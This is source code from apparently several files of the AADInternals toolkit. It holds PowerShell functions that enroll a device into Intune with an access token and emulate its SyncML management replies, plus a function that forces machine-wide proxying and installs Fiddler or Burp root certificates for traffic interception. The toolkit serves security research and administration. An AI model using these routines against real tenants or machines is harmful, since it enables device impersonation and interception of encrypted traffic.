<ApplicationVersion>$applicationVersion</ApplicationVersion>
<OSEdition>$OSEdition</OSEdition>
<AuthPolicies>
<AuthPolicy>OnPremise</AuthPolicy>
<AuthPolicy>Federated</AuthPolicy>
</AuthPolicies>
</request>
</Discover>
</s:Body>
</s:Envelope>
"@
$headers=@{
"Content-Type" = "application/soap+xml; charset=utf-8"
"User-Agent" = "ENROLLClient"
}
$response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://enrollment.manage.microsoft.com/enrollmentserver/discovery.svc" -Body $body -ContentType "application/soap+xml; charset=utf-8" -Headers $headers
# Get the data
$activityId = $response.Envelope.Header.ActivityId.'#text'
$serviceUri = $response.Envelope.Body.DiscoverResponse.DiscoverResult.EnrollmentServiceUrl
if(!$serviceUri.EndsWith($activityId))
{
$serviceUri += "?client-request-id=$activityId"
}
# Return
return $serviceUri
}
}
# Enroll device to MDM
# Aug 28th
function Enroll-DeviceToMDM
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$DeviceName,
[Parameter(Mandatory=$True)]
[bool]$BPRT
)
Process
{
# Get the claims from the access token
$claims = Read-Accesstoken -AccessToken $AccessToken
# Construct the values
$enrollmentUrl = Get-MDMEnrollmentService -UserName $claims.upn
$binarySecurityToken = Convert-ByteArrayToB64 -Bytes ([text.encoding]::UTF8.GetBytes($AccessToken))
$HWDevID = "$($claims.deviceid)$($claims.tid)".Replace("-","")
$deviceId = $claims.deviceid.Replace("-","")
# Create a private key
$rsa = [System.Security.Cryptography.RSA]::Create(2048)
# Initialize the Certificate Signing Request object
$CN = "CN=$($claims.deviceid)"
$req = [System.Security.Cryptography.X509Certificates.CertificateRequest]::new($CN, $rsa, [System.Security.Cryptography.HashAlgorithmName]::SHA256,[System.Security.Cryptography.RSASignaturePadding]::Pkcs1)
# Create the signing request
$csr = Convert-ByteArrayToB64 -Bytes $req.CreateSigningRequest()
$headers=@{
"Content-Type" = "application/soap+xml; charset=utf-8"
"User-Agent" = "ENROLLClient"
}
# Create the CSR request body
$csrBody=@"
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing" xmlns:u="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wst="http://docs.oasis-open.org/ws-sx/ws-trust/200512" xmlns:ac="http://schemas.xmlsoap.org/ws/2006/12/authorization">
<s:Header>
<a:Action s:mustUnderstand="1">http://schemas.microsoft.com/windows/pki/2009/01/enrollment/RST/wstep</a:Action>
<a:MessageID>urn:uuid:$((New-Guid).ToString())</a:MessageID>
<a:ReplyTo>
<a:Address>http://www.w3.org/2005/08/addressing/anonymous</a:Address>
</a:ReplyTo>
<a:To s:mustUnderstand="1">$enrollmentUrl</a:To>
<wsse:Security s:mustUnderstand="1">
<wsse:BinarySecurityToken ValueType="urn:ietf:params:oauth:token-type:jwt" EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd#base64binary">$binarySecurityToken</wsse:BinarySecurityToken>
</wsse:Security>
</s:Header>
<s:Body>
<wst:RequestSecurityToken>
<wst:TokenType>http://schemas.microsoft.com/5.0.0.0/ConfigurationManager/Enrollment/DeviceEnrollmentToken</wst:TokenType>
<wst:RequestType>http://docs.oasis-open.org/ws-sx/ws-trust/200512/Issue</wst:RequestType>
<wsse:BinarySecurityToken ValueType="http://schemas.microsoft.com/windows/pki/2009/01/enrollment#PKCS10" EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd#base64binary">$csr</wsse:BinarySecurityToken>
<ac:AdditionalContext xmlns="http://schemas.xmlsoap.org/ws/2006/12/authorization">
<ac:ContextItem Name="UXInitiated">
<ac:Value>(($BPRT -eq $false).ToString().ToLower())</ac:Value>
</ac:ContextItem>
<ac:ContextItem Name="HWDevID">
<ac:Value>$HWDevID</ac:Value>
</ac:ContextItem>
<ac:ContextItem Name="BulkAADJ">
<ac:Value>$($BPRT.ToString().ToLower())</ac:Value>
</ac:ContextItem>
<ac:ContextItem Name="Locale">
<ac:Value>en-US</ac:Value>
</ac:ContextItem>
<ac:ContextItem Name="TargetedUserLoggedIn">
<ac:Value>$(($BPRT -eq $false).ToString().ToLower())</ac:Value>
</ac:ContextItem>
<ac:ContextItem Name="EnrollmentData">
<ac:Value></ac:Value>
</ac:ContextItem>
<ac:ContextItem Name="OSEdition">
<ac:Value>4</ac:Value>
</ac:ContextItem>
<ac:ContextItem Name="DeviceName">
<ac:Value>$DeviceName</ac:Value>
</ac:ContextItem>
<ac:ContextItem Name="MAC">
<ac:Value>00-00-00-00-00-00</ac:Value>
</ac:ContextItem>
<ac:ContextItem Name="DeviceID">
<ac:Value>$deviceId</ac:Value>
</ac:ContextItem>
<ac:ContextItem Name="EnrollmentType">
<ac:Value>Device</ac:Value>
</ac:ContextItem>
<ac:ContextItem Name="DeviceType">
<ac:Value>CIMClient_Windows</ac:Value>
</ac:ContextItem>
<ac:ContextItem Name="OSVersion">
<ac:Value>10.0.18363.0</ac:Value>
</ac:ContextItem>
<ac:ContextItem Name="ApplicationVersion">
<ac:Value>10.0.18363.0</ac:Value>
</ac:ContextItem>
</ac:AdditionalContext>
</wst:RequestSecurityToken>
</s:Body>
</s:Envelope>
"@
# Clean the url
$url=$enrollmentUrl.Replace(":443","")
# The user might not have the lisence
try
{
$response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri $url -Body $csrBody -ContentType "application/soap+xml; charset=utf-8" -Headers $headers
}
catch
{
throw $_
}
# Get the data
$binSecurityToken = $response.Envelope.Body.RequestSecurityTokenResponseCollection.RequestSecurityTokenResponse.RequestedSecurityToken.BinarySecurityToken.'#text'
$xmlSecurityToken = [xml][text.encoding]::UTF8.GetString((Convert-B64ToByteArray -B64 $binSecurityToken))
Write-Debug "BinarySecurityToken: $($xmlSecurityToken.OuterXml)"
# Get the certificates
$CA = $xmlSecurityToken.'wap-provisioningdoc'.characteristic[0].characteristic[0].characteristic.characteristic.Parm.value
$IntMedCA = $xmlSecurityToken.'wap-provisioningdoc'.characteristic[0].characteristic[1].characteristic.characteristic.Parm.value
$binCert = [byte[]](Convert-B64ToByteArray -B64 ($xmlSecurityToken.'wap-provisioningdoc'.characteristic[0].characteristic[2].characteristic.characteristic.Parm.value))
# Create a new x509certificate
$cert = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new($binCert,"",[System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::PersistKeySet -bor [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::Exportable)
# Store the private key to so that it can be exported
$cspParameters = [System.Security.Cryptography.CspParameters]::new()
$cspParameters.ProviderName = "Microsoft Enhanced RSA and AES Cryptographic Provider"
$cspParameters.ProviderType = 24
$cspParameters.KeyContainerName ="AADInternals"
# Set the private key
$privateKey = [System.Security.Cryptography.RSACryptoServiceProvider]::new(2048,$cspParameters)
$privateKey.ImportParameters($rsa.ExportParameters($true))
$cert.PrivateKey = $privateKey
# Generate the return value
$joinInfo = @(
$CA,
$IntMedCA,
$cert
)
return $joinInfo
}
}
# Sep 3rd 2020
# Automatically responses to the given command array
function New-SyncMLAutoresponse
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[string]$DeviceName,
[Parameter(Mandatory=$True)]
[Object[]]$Commands,
[Parameter(Mandatory=$True)]
[int]$MsgID,
[Parameter(Mandatory=$True)]
[Hashtable]$Settings
)
Begin
{
$response200 = @(
"Add"
"Replace"
"Atomic"
"Delete"
"Sequence"
)
}
Process
{
$resCommands = @()
$CmdID = 1
foreach($command in $commands)
{
if($command.type -ne "Status")
{
# Just answer 400 to (almost) all requests
$errorCode = 400
# For NodeCache requests
if($command.Type -eq "Get" -and $command.LocURI.StartsWith("./Vendor/MSFT/NodeCache/"))
{
$errorCode = 404
}
# Status must be 200 for predefined answers
if($command.type -eq "Get" -and $Settings[$command.LocURI] -ne $null)
{
$errorCode = 200
}
# Okay, let's be nice for some commands :)
if($response200 -contains $command.Type)
{
$errorCode = 200
}
# Create the status message
$attr = [ordered]@{
Type="Status"
CmdID = $CmdID++
MsgRef = $MsgID-1 # Status is always referring to the previous message
CmdRef = $command.CmdID
Cmd = $command.Type
Data = $errorCode
}
$resCommands += New-Object psobject -Property $attr
# Create the results message
if($command.type -eq "Get" -and $Settings[$command.LocURI] -ne $null)
{
$attr = [ordered]@{
Type="Results"
CmdID = $CmdID++
MsgRef = $MsgID-1 # Status is always referring to the previous message
CmdRef = $command.CmdID
Cmd = $command.Type
LocURI = $command.LocURI
Data = $Settings[$command.LocURI]
}
$resCommands += New-Object psobject -Property $attr
}
if($command.type -eq "Get" -and $errorCode -ne 200)
{
#if($VerbosePreference)
#{
Write-Warning " < No data ($MsgID): $command"
#}
}
}
else
{
$resCommands += $command
$CmdID++
}
}
return $resCommands
}
}
# Sep 2nd 2020
# Create a new SyncML request
function New-SyncMLRequest
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[string]$DeviceName,
[Parameter(Mandatory=$True)]
[int]$SessionID,
[Parameter(Mandatory=$True)]
[int]$MsgID,
[Parameter(Mandatory=$False)]
[string]$VerDTD="1.2",
[Parameter(Mandatory=$False)]
[string]$VerProto="DM/1.2",
[Parameter(Mandatory=$False)]
[Object[]]$commands
)
Process
{
$CmdId = 1
$syncBody=""
foreach($command in $commands)
{
Write-Verbose " > $command"
switch($command.Type)
{
"Alert"
{
if($command.ItemData)
{
if($command.MetaType)
{
$meta = @"
<Meta>
<Type xmlns="syncml:metinf">$($command.MetaType)</Type>
</Meta>
"@
}
$syncBody += @"
<Alert>
<CmdID>$($command.CmdId)</CmdID>
<Data>$($command.Data)</Data>
<Item>
$meta
<Data>$($command.ItemData)</Data>
</Item>
</Alert>
"@
}
else
{
$syncBody += @"
<Alert>
<CmdID>$($command.CmdId)</CmdID>
<Data>$($command.Data)</Data>
</Alert>
"@
}
break
}
"Replace"
{
$syncBody += @"
<Replace>
<CmdID>$($command.CmdId)</CmdID>
"@
foreach($key in $command.Items.Keys)
{
$syncBody += @"
<Item>
<Source>
<LocURI>$key</LocURI>
</Source>
<Data>$($command.Items[$key])</Data>
</Item>
"@
}
$syncBody += "`n </Replace>"
break
}
"Delete"
{
break
}
"Atomic"
{
$syncBody += "`n"
$syncBody += @"
<Status>
<CmdID>$($command.CmdId)</CmdID>
<MsgRef>$($command.MsgRef)</MsgRef>
<CmdRef>$($command.CmdRef)</CmdRef>
<Cmd>$($command.Cmd)</Cmd>
<Data>200</Data>
</Status>
"@
break
}
"Sequence"
{
$syncBody += "`n"
$syncBody += @"
<Status>
<CmdID>$($command.CmdId)</CmdID>
<MsgRef>$($command.MsgRef)</MsgRef>
<CmdRef>$($command.CmdRef)</CmdRef>
<Cmd>$($command.Cmd)</Cmd>
<Data>200</Data>
</Status>
"@
break
}
"Final"
{
break
}
"Status"
{
$syncBody += "`n"
$syncBody += @"
<Status>
<CmdID>$($command.CmdId)</CmdID>
<MsgRef>$($command.MsgRef)</MsgRef>
<CmdRef>$($command.CmdRef)</CmdRef>
<Cmd>$($command.Cmd)</Cmd>
<Data>$($command.Data)</Data>
</Status>
"@
break
}
"Results"
{
$syncBody += "`n"
$syncBody += @"
<Results>
<CmdID>$($command.CmdId)</CmdID>
<MsgRef>$($command.MsgRef)</MsgRef>
<CmdRef>$($command.CmdRef)</CmdRef>
<Item>
<Source>
<LocURI>$($command.LocURI)</LocURI>
</Source>
<Data>$($command.Data)</Data>
</Item>
</Results>
"@
break
}
}
}
# Construct the body
$syncML = @"
<?xml version = "1.0" encoding = "UTF-8" ?>
<SyncML>
<SyncHdr>
<VerDTD>$VerDTD</VerDTD>
<VerProto>$VerProto</VerProto>
<SessionID>$SessionID</SessionID>
<MsgID>$MsgID</MsgID>
<Target>
<LocURI>https://r.manage.microsoft.com/devicegatewayproxy/cimhandler.ashx</LocURI>
</Target>
<Source>
<LocURI>$DeviceName</LocURI>
</Source>
</SyncHdr>
<SyncBody>
$syncBody
<Final/>
</SyncBody>
</SyncML>
"@
return $syncML
}
}
# Sep 2nd 2020
# Parses the SyncML response and returns an array containing all the returned commands
function Parse-SyncMLResponse
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[System.Xml.XmlDocument]$SyncML
)
Process
{
$commands = @()
$CmdId = 1
function parseNode
{
Param(
[Parameter(Mandatory=$True)]
$node,
[Parameter(Mandatory=$True)]
[ref]$commands
)
Process
{
switch($node.Name)
{
"Status"
{
$attr = [ordered]@{
Type="Status"
CmdID = $node.CmdID
MsgRef = $node.MsgRef
CmdRef = 0
Cmd = $node.Cmd
Data = $node.Data
}
$commands.value += New-Object psobject -Property $attr
break
}
"Get"
{
$attr = [ordered]@{
Type="Get"
CmdID = $node.CmdID
LocURI = $node.Item.Target.LocURI
}
$commands.value += New-Object psobject -Property $attr
break
}
"Add"
{
$attr = [ordered]@{
Type="Add"
CmdID = $node.CmdID
LocURI = $node.Item.Target.LocURI
}
$commands.value += New-Object psobject -Property $attr
break
}
"Replace"
{
$attr = [ordered]@{
Type="Replace"
CmdID = $node.CmdID
LocURI = $node.Item.Target.LocURI
MFormat = $node.Item.Meta.Format.'#text'
MType = $node.Item.Meta.Type.'#text'
Data = $node.Item.Data
}
$commands.value += New-Object psobject -Property $attr
break
}
"Delete"
{
$attr = [ordered]@{
Type="Delete"
CmdID = $node.CmdID
LocURI = $node.Item.Target.LocURI
}
$commands.value += New-Object psobject -Property $attr
break
}
"Atomic"
{
# Parse nodes inside this one
foreach($inode in $node.ChildNodes)
{
parseNode -node $inode -commands $commands
}
$attr = [ordered]@{
Type="Atomic"
CmdID = $node.CmdID
}
$commands.value += New-Object psobject -Property $attr
break
}
"Sequence"
{
# Parse nodes inside this one
foreach($inode in $node.ChildNodes)
{
parseNode -node $inode -commands $commands
}
$attr = [ordered]@{
Type="Sequence"
CmdID = $node.CmdID
LocURI = ""
}
$commands.value += New-Object psobject -Property $attr
break
}
"Final"
{
#$commands.value += New-Object psobject -Property @{Type="Final"}
break
}
}
}
}
foreach($node in $SyncML.SyncML.SyncBody.ChildNodes)
{
parseNode -node $node -commands ([ref]$commands)
}
if($VerbosePreference)
{
foreach($command in $commands)
{
Write-Verbose " < $command"
}
}
return $commands
}
}
# Sep 2nd 2020
# Sends the given SyncML to Intune and returns the response as an xml document
function Invoke-SyncMLRequest
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[string]$SyncML,
[Parameter(ParameterSetName='Certificate',Mandatory=$True)]
[System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate
)
Process
{
$headers=@{
"Content-Type" = "application/vnd.syncml.dm+xml; charset=utf-8"
"Accept" = "application/vnd.syncml.dm+xml, application/octet-stream"
"Accept-Charset" = "UTF-8"
"User-Agent" = "MSFT OMA DM Client/1.2.0.1"
}
Write-Debug "Request: $SyncML"
try
{
$response = Invoke-WebRequest -UseBasicParsing -Certificate $Certificate -Method Post -Uri "https://r.manage.microsoft.com/devicegatewayproxy/cimhandler.ashx?mode=Maintenance&Platform=WoA" -Headers $headers -Body $SyncML -ErrorAction SilentlyContinue -ContentType "application/vnd.syncml.dm+xml; charset=utf-8"
$xml = [xml]$response.content
}
catch
{
throw "SyncML request failed"
}
Write-Debug "Response: $($xml.OuterXml)"
return $xml
}
}
# Gets the object id of the device using device id
# Sep 11th 2020
function Get-DeviceObjectId
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$DeviceId,
[Parameter(Mandatory=$True)]
[String]$TenantId,
[Parameter(Mandatory=$True)]
[String]$AccessToken
)
Process
{
$headers=@{
"Authorization" = "Bearer $AccessToken"
"Accept" = "application/json;odata=nometadata"
}
Write-Verbose "Getting objectId for device $DeviceId"
$devices = Invoke-RestMethod -UseBasicParsing -Method Get -Uri "https://graph.windows.net/$tenantId/devices?`$filter=deviceId eq guid'$DeviceId'&`$select=objectId,displayName,deviceId&api-version=1.61-internal" -Headers $headers
foreach($device in $devices.value)
{
if($device.deviceId -eq $DeviceId)
{
$ObjectId = $device.objectId
break
}
}
if([string]::IsNullOrEmpty($ObjectId))
{
throw "Device $DeviceId not found!"
}
return $ObjectId
}
} |
ClientTools.ps1 | AADInternals-0.9.4 | # This script contains functions for client side
<#
.SYNOPSIS
Gets the Office update branch of the local computer
.DESCRIPTION
Gets the Office update branch of the local computer from the registry
.Example
Get-AADIntOfficeUpdateBranch
Update branch: Current
#>
# Jul 8th 2019
function Get-OfficeUpdateBranch
{
Param(
[ValidateSet('16.0')]
[String]$Version="16.0"
)
Process
{
$reg=Get-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\office\$Version\common\officeupdate\"
Write-Host "Update branch: $($reg.updateBranch)"
#Write-Host "Automatic updates enabled: $($reg.EnableAutomaticUpdates -ne 0)"
}
}
<#
.SYNOPSIS
Sets the Office update branch of the local computer
.DESCRIPTION
Sets the Office update branch of the local computer to the registry. Requires administrator rights!
.Example
Set-AADIntOfficeUpdateBranch -UpdateBranch InsiderFast
Update branch: InsiderFast
#>
# Jul 8th 2019
function Set-OfficeUpdateBranch
{
Param(
[ValidateSet('16.0')]
[String]$Version="16.0",
[ValidateSet('InsiderFast','FirstReleaseCurrent','Current','FirstReleaseDeferred','Deferred','DogFood')]
[String]$UpdateBranch="Current"
)
Process
{
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\office\$Version\common\officeupdate\" -Name "updateBranch" -Value $UpdateBranch
Get-OfficeUpdateBranch -Version $Version
}
} |
MSPartner_utils.ps1 | AADInternals-0.9.4 | # This file contains utility functions for MS Partner operations.
# Invoke parter api
# Aug 27th 2021
function Invoke-MSPartnerAPI
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$Body,
[Parameter(Mandatory=$True)]
[String]$Url,
[Parameter(Mandatory=$True)]
[ValidateSet('Get','Post','Patch','Put')]
[String]$Method
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "fa3d9a0c-3fb0-42cc-9193-47c7ecd2edbd" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Set the headers
$headers=@{
"Authorization" = "Bearer $AccessToken"
"ocp-apim-subscription-key" = "c306f5dd740f4946920822865932a356"
"MS-PartnerCenter-Client" = "Partner Center Web"
}
# Invoke the command with Invoke-WebRequest so we can remove BOM
$response = Invoke-WebRequest -UseBasicParsing -Method $Method -Uri "https://api.partnercenter.microsoft.com/$Url" -Headers $headers -Body $body
$responseBytes = New-Object byte[] $response.RawContentLength
$response.RawContentStream.Read($responseBytes,0,$response.RawContentLength) | Out-Null
# Strip the BOM and convert to json
[text.encoding]::UTF8.getString([byte[]](Remove-BOM -ByteArray $responseBytes)) | ConvertFrom-Json
}
}
|
ProxySettings.ps1 | AADInternals-0.9.4 | # This file contains functions for setting proxy settings for Windows devices
# Sets proxy settings
# Jan 20th 2022
Function Set-ProxySettings
{
<#
.SYNOPSIS
Sets proxy settings of the local Windows machine and trusts Fiddler root certificate.
.DESCRIPTION
Sets proxy settings of the local Windows machine for:
* .NET Framework (both 32 & 64 bit) by editing machine.config
* LocalSystem using BITSAdmin
* NetworkService using BITSAdmin
* winhttp using netsh
* Local user by modifying registry
* Machine level by modifying registry
* Force machine level proxy by modifying registry
Trusts Fiddler root certificate by importing it to Local Machine truster root certificates
.Parameter ProxyAddress
Proxy address with port number.
.Parameter TrustFiddler
Trust Fiddler root certificate
.EXAMPLE
PS\:>Set-AADIntProxySettings -ProxyAddress 10.0.0.10:8080
Setting proxies for x86 & x64 .NET Frameworks:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machine.config
Setting proxy for LocalSystem:
BITSADMIN version 3.0
BITS administration utility.
(C) Copyright Microsoft Corp.
Internet proxy settings for account LocalSystem were set.
(connection = default)
Proxy usage set to Manual_proxy
Proxy list set to http://10.0.0.1:8080
Proxy bypass list set to <empty>
Setting proxy for NetworkService:
BITSADMIN version 3.0
BITS administration utility.
(C) Copyright Microsoft Corp.
Internet proxy settings for account NetworkService were set.
(connection = default)
Proxy usage set to Manual_proxy
Proxy list set to http://10.0.0.1:8080
Proxy bypass list set to <empty>
Setting winhttp proxy:
Current WinHTTP proxy settings:
Proxy Server(s) : 10.0.0.1:8080
Bypass List : (none)
Setting the proxy of local user Internet Settings:
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\C
urrentVersion\Internet Settings\Connections Property: DefaultConnectionSettings".
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\C
urrentVersion\Internet Settings\Connections Property: SavedLegacySettings".
Setting the proxy of machine Internet Settings:
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
CurrentVersion\Internet Settings\Connections Property: DefaultConnectionSettings".
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
CurrentVersion\Internet Settings\Connections Property: SavedLegacySettings".
Setting machine level procy policy for Internet Settings:
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft
\Windows\CurrentVersion\Internet Settings Property: ProxySettingsPerUser".
.EXAMPLE
PS\:>Set-AADIntProxySettings -ProxyAddress 10.0.0.10:8080 -TrustFiddler
Setting proxies for x86 & x64 .NET Frameworks:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machine.config
Setting proxy for LocalSystem:
BITSADMIN version 3.0
BITS administration utility.
(C) Copyright Microsoft Corp.
Internet proxy settings for account LocalSystem were set.
(connection = default)
Proxy usage set to Manual_proxy
Proxy list set to http://10.0.0.1:8080
Proxy bypass list set to <empty>
Setting proxy for NetworkService:
BITSADMIN version 3.0
BITS administration utility.
(C) Copyright Microsoft Corp.
Internet proxy settings for account NetworkService were set.
(connection = default)
Proxy usage set to Manual_proxy
Proxy list set to http://10.0.0.1:8080
Proxy bypass list set to <empty>
Setting winhttp proxy:
Current WinHTTP proxy settings:
Proxy Server(s) : 10.0.0.1:8080
Bypass List : (none)
Setting the proxy of local user Internet Settings:
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\C
urrentVersion\Internet Settings\Connections Property: DefaultConnectionSettings".
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\C
urrentVersion\Internet Settings\Connections Property: SavedLegacySettings".
Setting the proxy of machine Internet Settings:
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
CurrentVersion\Internet Settings\Connections Property: DefaultConnectionSettings".
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
CurrentVersion\Internet Settings\Connections Property: SavedLegacySettings".
Setting machine level procy policy for Internet Settings:
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft
\Windows\CurrentVersion\Internet Settings Property: ProxySettingsPerUser".
Trusting Fiddler root certificate:
PSParentPath: Microsoft.PowerShell.Security\Certificate::LocalMachine\Root
Thumbprint Subject
---------- -------
33D6FCEE2850DC53EEED517F3E8E72EB944BD467 CN=DO_NOT_TRUST_FiddlerRoot, O=DO_NOT_TRUST, OU=Created by http://...
#>
[cmdletbinding()]
param(
[parameter(Mandatory=$true,ValueFromPipeline)]
[String]$ProxyAddress,
[Switch]$TrustFiddler,
[Switch]$TrustBurp
)
Process
{
# Split the proxy address
$proxyHost = $ProxyAddress.Split(":")[0]
$proxyPort = $ProxyAddress.Split(":")[1]
# Set .NET proxy in a quick-and-dirty way by just adding at the end
$configXml = @"
<!-- Added by AADInternals $((Get-Date).ToUniversalTime().ToString("s", [cultureinfo]::InvariantCulture)+"Z")-->
<system.net>
<defaultProxy enabled = "true" useDefaultCredentials = "true">
<proxy autoDetect="false" bypassonlocal="true" proxyaddress="http://$($ProxyAddress)" usesystemdefault="false" />
</defaultProxy>
</system.net>
</configuration>
"@
Write-Host "Setting proxies for x32 & x64 .NET Frameworks:" -ForegroundColor Yellow
$dotNetConfigs = "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config","C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machine.config"
foreach($dotNetConfig in $dotNetConfigs)
{
$content = Get-Content $dotNetConfig -Encoding UTF8
[xml]$xmlContent = $content
if($xmlContent.configuration.'system.net'.defaultProxy)
{
Write-Warning ".NET proxy settings already set, skipping $dotNetConfig"
}
else
{
$lines = $content.Length
for($a = $lines ; $a-- ; $a -ge 0)
{
if($content[$a] -like "*</configuration>*")
{
$content[$a] = $configXml
break
}
}
Write-Host " $dotNetConfig" -ForegroundColor Yellow
$content | Set-Content $dotNetConfig -Encoding UTF8
}
}
# Add proxy for the LocalSystem and NetworkService using bitsadmin
Write-Host "Setting proxy for LocalSystem:" -ForegroundColor Yellow
& 'bitsadmin' '/Util' '/SetIEProxy' 'LocalSystem' 'Manual_proxy' "http://$ProxyAddress" '""'
Write-Host "Setting proxy for NetworkService:" -ForegroundColor Yellow
& 'bitsadmin' '/Util' '/SetIEProxy' 'NetworkService' 'Manual_proxy' "http://$ProxyAddress" '""'
# Set winhttp proxy
Write-Host "Setting winhttp proxy:" -ForegroundColor Yellow
& 'netsh' 'winhttp' 'set' 'proxy' "$ProxyAddress"
#
# Set proxy for Internet Settings
#
# Generate the settigns blob
[byte[]]$settingsBlob = New-DefaultConnectionSettings -ProxyAddress $ProxyAddress
# Set Current User settings
Write-Host "Setting the proxy of local user Internet Settings:" -ForegroundColor Yellow
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections" -Name "DefaultConnectionSettings" -Value $settingsBlob -Force -Verbose
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections" -Name "SavedLegacySettings" -Value $settingsBlob -Force -Verbose
# Set Machine settings
Write-Host "Setting the proxy of machine Internet Settings:" -ForegroundColor Yellow
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections" -Name "DefaultConnectionSettings" -Value $settingsBlob -Force -Verbose
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections" -Name "SavedLegacySettings" -Value $settingsBlob -Force -Verbose
# Set proxy policy on machine level
Write-Host "Setting machine level procy policy for Internet Settings:" -ForegroundColor Yellow
New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings" -Force -Verbose
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings" -Name "ProxySettingsPerUser" -Value 0 -Force -Verbose
# Trust the Fiddler
if($TrustFiddler)
{
Write-Host "Trusting Fiddler root certificate:" -ForegroundColor Yellow
$tmpFile = New-TemporaryFile
Invoke-RestMethod -Uri "http://ipv4.fiddler:$proxyPort/FiddlerRoot.cer" -Proxy "http://$ProxyAddress" -OutFile $tmpFile
Import-Certificate -FilePath $tmpFile -CertStoreLocation "Cert:\LocalMachine\Root"
Remove-Item $tmpFile -Force
}
# Trust Burp Suite
if($TrustBurp)
{
Write-Host "Trusting Burp root certificate:" -ForegroundColor Yellow
$tmpFile = New-TemporaryFile
Invoke-RestMethod -Uri "http://$ProxyAddress/cert" -OutFile $tmpFile
Import-Certificate -FilePath $tmpFile -CertStoreLocation "Cert:\LocalMachine\Root"
Remove-Item $tmpFile -Force
}
}
}
# Generates a DefaultConnectionSettings blob
# Jan 20th 2022
Function New-DefaultConnectionSettings
{
[cmdletbinding()]
param(
[parameter(Mandatory=$true,ValueFromPipeline)]
[String]$ProxyAddress
)
Process
{
# Ref: http://atyoung.blogspot.com/2012/06/info-regarding-hkeycurrentusersoftwarem.html
$proxyLen = $ProxyAddress.length
$blob = new-object byte[] (56 + $proxyLen)
$p = 0
[Array]::Copy([bitconverter]::GetBytes([UInt32] 0x46 ) , 0, $blob, $p, 4); $p += 4 # Identifier 0x46 or 0x3C
[Array]::Copy([bitconverter]::GetBytes([UInt32] 0x00 ) , 0, $blob, $p, 4); $p += 4 # Counter
[Array]::Copy([bitconverter]::GetBytes([UInt32] 0x03 ) , 0, $blob, $p, 4); $p += 4 # Use a proxy server for your lan
# 09 when only 'Automatically detect settings' is enabled
# 03 when only 'Use a proxy server for your LAN' is enabled
# 0B when both are enabled
# 05 when only 'Use automatic configuration script' is enabled
# 0D when 'Automatically detect settings' and 'Use automatic configuration script' are enabled
# 07 when 'Use a proxy server for your LAN' and 'Use automatic configuration script' are enabled
# 0F when all the three are enabled.
# 01 when none of them are enabled.
[Array]::Copy([bitconverter]::GetBytes([UInt32] $proxyLen ) , 0, $blob, $p, 4); $p += 4 # Proxy address length
[Array]::Copy([Text.Encoding]::ASCII.GetBytes($ProxyAddress) , 0, $blob, $p, $proxyLen); $p += $proxyLen # Proxy address
